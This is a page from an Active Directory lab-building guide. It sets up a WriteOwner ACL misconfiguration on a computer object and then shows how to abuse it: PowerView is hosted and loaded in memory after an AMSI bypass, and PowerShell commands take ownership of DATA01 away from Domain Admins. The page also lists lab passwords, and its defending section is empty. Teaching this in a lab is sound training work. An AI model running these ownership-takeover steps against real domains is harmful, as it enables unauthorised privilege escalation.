# Write Owner

## Configuring

1. Login to `DC03` with the Administrator user and the password `Welcome01!`.
2. Open the "Active Directory Users and Computers" administration tool.

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FHwPQUjGHSMLiBoPXKKQq%2Fimage.png?alt=media\&token=97ee935a-625e-4e87-8855-6efa257283ed)

3\. Click on "View" and enable "Advanced Features

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2Fqqoghal4NaIdhYPc1BLf%2Fimage.png?alt=media&#x26;token=5c3f49c6-a172-4ee8-8e2f-cef61f7765ae" alt=""></div>

4\. Click on the "Computers" directory and right click on the "DATA01" computer and select "Properties". Then select "Security" to see the ACL's.

5\. Click on "Add" and type `sa_sql`.

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F8stNBrCwpEHkDCQC1psY%2Fimage.png?alt=media&#x26;token=4c91705f-ad0d-411c-acf8-d2196bc283fa" alt=""></div>

6\. Select the "sa\_sql" user and click "Advanced". Then select the "sa\_sql" once again and click on "Edit". Then select "Modify Owner".

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2Fat7R7w0Zs1dM7yYwSv2D%2Fimage.png?alt=media\&token=bc4ed5a9-b3e3-4c53-b974-2c0a136a48be)

7\. We can quickly run BloodHound to check if the correct permissions are applied to the `sa_sql` user:

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FiCouT3gHCg67yIIIEPdv%2Fimage.png?alt=media\&token=f090a500-1d8f-4561-bc3c-1da99fc51a5a)

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FiIZi6l55N4V83zGgWtMF%2Fimage.png?alt=media&#x26;token=1afcf940-180a-48be-8f88-08fc86385829" alt=""></div>

It is configured correctly!

## Attacking

### How it works

If a domain object has the WriteOwner ACL, the object can change the owner of the object. In this case the user `SA_SQL` can change the owner of the computerobject `DATA01`. Once you are "Owner" of a object, you can change the DACL of the object.

### Tools

* [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)

### Executing the attack

1. Download PowerView on the kali machine and host it on a webserver:

```
wget https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
python3 -m http.server 8090
```

2\. Login to `WS01` as Richard with the password `Sample123`.

3\. Start PowerShell and download and execute an amsi and PowerView in memory:

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FraODaeDGP6Vd4ClhvFit%2Fimage.png?alt=media&#x26;token=08abd93e-b5b6-4544-9db9-6f7efdc28520" alt=""></div>

4\. In the page DACL-Abuses I showed you how to check for ACL's using BloodHound. We will abuse the "Write Owner" ACL `sa_sql` has on `DATA01`.

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2Fmij2LwVOA3HpIIFMUlvK%2Fimage.png?alt=media&#x26;token=e8ad41e6-18cf-4a69-b3f2-6e1a3f39c671" alt=""></div>

5\. With PowerView we can query the current owner of the computerobject `DATA01`. Since we are queering data from another domain, we will have to provide a username and password for that domain. Create a credential object using the `get-credential` cmdlet:

```
$creds = Get-Credential
```

Then we can use PowerView to query the domain controller from `secure.local` for the domain-object `DATA01` and retrieve the samaccountname and Owner attribute. We will receive a SID which we need to resolve aswell;

```
Get-DomainObject -Identity data01 -SecurityMasks Owner -Domain secure.local -Credential $creds -Server 10.0.0.100 | select samaccountname, Owner
Get-DomainObject -Identity S-1-5-21-1498997062-1091976085-892328878-512 -Domain secure.local -Credential $creds -Server 10.0.0.100
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FZ7dCjfgROSb0K10LVbzm%2Fimage.png?alt=media&#x26;token=1d607bff-a534-4a30-a7e1-9aae9631ff51" alt=""></div>

The current owner of the computerobject `DATA01` is the group `Domain Admins`.

6\. With PowerView we can change the owner of the object using the `Set-DomainObjectOwner` cmdlet.

```
Set-DomainObjectOwner -Domain secure.local -Credential $creds -Server 10.0.0.100 -Identity DATA01 -OwnerIdentity sa_sql -Verbose
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FdNz6W2MlJUx1o4JglZ25%2Fimage.png?alt=media&#x26;token=5dd95702-d80d-4ff3-acc3-0d082a122b0a" alt=""></div>

7\. We didn't receive any errors, to lets use the same queries again to query the owner of the computerobject DATA01;

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FInezdkBa3FrCAGRqSGFK%2Fimage.png?alt=media&#x26;token=bd6cd8f4-e839-42db-94d1-1d92e3e95513" alt=""></div>

8\. We successfully changed the owner of the computerobject from `Domain Admins` to `sa_ql`. The next step will be on the Owns section:

{% content-ref url="owns" %}
[owns](https://ad-lab.gitbook.io/building-a-windows-ad-lab/vulnerabilities-and-misconfigurations-and-attacks/active-directory-attacks/acl-abuses/owns)
{% endcontent-ref %}

## Defending

### Recommendations

### Detection

## References

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1>" %}

{% embed url="<https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html#writeowner>" %}
